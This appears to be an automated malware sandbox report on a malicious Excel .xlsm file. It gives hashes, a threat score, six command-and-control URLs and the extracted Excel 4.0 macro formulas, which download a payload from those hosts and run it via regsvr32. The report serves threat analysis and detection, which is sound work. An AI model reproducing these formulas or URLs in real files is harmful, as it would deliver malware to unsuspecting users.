General

  • Target

    b713e6a79b56f1e25b6522d46c4827d494af9ead0db671ffb8b4853969fc090f

  • Size

    46KB

  • MD5

    8e743641a4ec5482dbb19c4a393ffcde

  • SHA1

    6f1f66582f94659b25f50be1d51240635418001a

  • SHA256

    b713e6a79b56f1e25b6522d46c4827d494af9ead0db671ffb8b4853969fc090f

  • SHA512

    73cad643fd916f9018ce7ced44897ec6007e0847ff3b3e452b8b7f81882f81ac686f06eccbb9d5fa34f96137e624378ab500e630e9e11447406936e3a6c86534

  • SSDEEP

    768:KyMo9DOevZCwrvtE9WzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VP9HW:jMo9D88tT5fTR4Lh1NisFYBc3cr+UqVk

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://aquapark.hotelrestoranaqua.com/wp-includes/a1eCjuFRWXku/

https://baksen.org/chat/8wYoYwWXH4eidiUOAs/

https://truetvkerala.com/wp-admin/iocOOm7I/

https://lavanya-aesthetic.com/cgi-bin/PjtfI2BlnvUtlMV2vTR/

http://kopkomerc.rs/wp-includes/css/ErPamucLecQSqd/

http://restoran.hotelrestoranaqua.com/wp-includes/67I/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aquapark.hotelrestoranaqua.com/wp-includes/a1eCjuFRWXku/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baksen.org/chat/8wYoYwWXH4eidiUOAs/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://truetvkerala.com/wp-admin/iocOOm7I/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lavanya-aesthetic.com/cgi-bin/PjtfI2BlnvUtlMV2vTR/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kopkomerc.rs/wp-includes/css/ErPamucLecQSqd/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://restoran.hotelrestoranaqua.com/wp-includes/67I/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • b713e6a79b56f1e25b6522d46c4827d494af9ead0db671ffb8b4853969fc090f
    .xlsm office2007